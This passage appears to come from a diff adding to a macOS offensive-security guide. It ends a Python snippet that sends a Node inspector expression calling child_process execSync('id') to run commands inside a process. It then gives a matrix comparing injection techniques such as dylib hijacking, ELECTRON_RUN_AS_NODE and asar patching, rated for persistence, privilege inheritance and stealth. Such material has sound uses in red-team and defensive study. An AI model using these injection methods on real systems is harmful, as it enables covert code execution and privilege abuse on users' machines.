|
+
"expression": "require('child_process').execSync('id').toString()"
|
|
352
|
+
}
|
|
353
|
+
}))
|
|
354
|
+
|
|
355
|
+
result = json.loads(ws.recv())
|
|
356
|
+
print(result["result"]["result"]["value"])
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
---
|
|
360
|
+
|
|
361
|
+
## 5. INJECTION TECHNIQUE COMPARISON MATRIX
|
|
362
|
+
|
|
363
|
+
| Technique | Root Required | SIP Bypass Needed | Survives Reboot | TCC Inheritance | Stealth |
|
|
364
|
+
|---|---|---|---|---|---|
|
|
365
|
+
| DYLD_INSERT_LIBRARIES | No | No (if entitled) | No | Yes | Low |
|
|
366
|
+
| Weak dylib hijack | No | No | Yes (per-launch) | Yes | High |
|
|
367
|
+
| @rpath hijack | No | No | Yes (per-launch) | Yes | High |
|
|
368
|
+
| Dylib proxy | No | No | Yes (per-launch) | Yes | Medium |
|
|
369
|
+
| XPC exploitation | No | No | Per-connection | Varies | Medium |
|
|
370
|
+
| task_for_pid | Yes | Yes (for Apple bins) | No | No | Low |
|
|
371
|
+
| ELECTRON_RUN_AS_NODE | No | No | No | Yes | Low |
|
|
372
|
+
| Electron asar patch | No | No | Yes | Yes | Medium |
|
|
373
|
+
| osascript | No | No | No | Automation only | Low |
|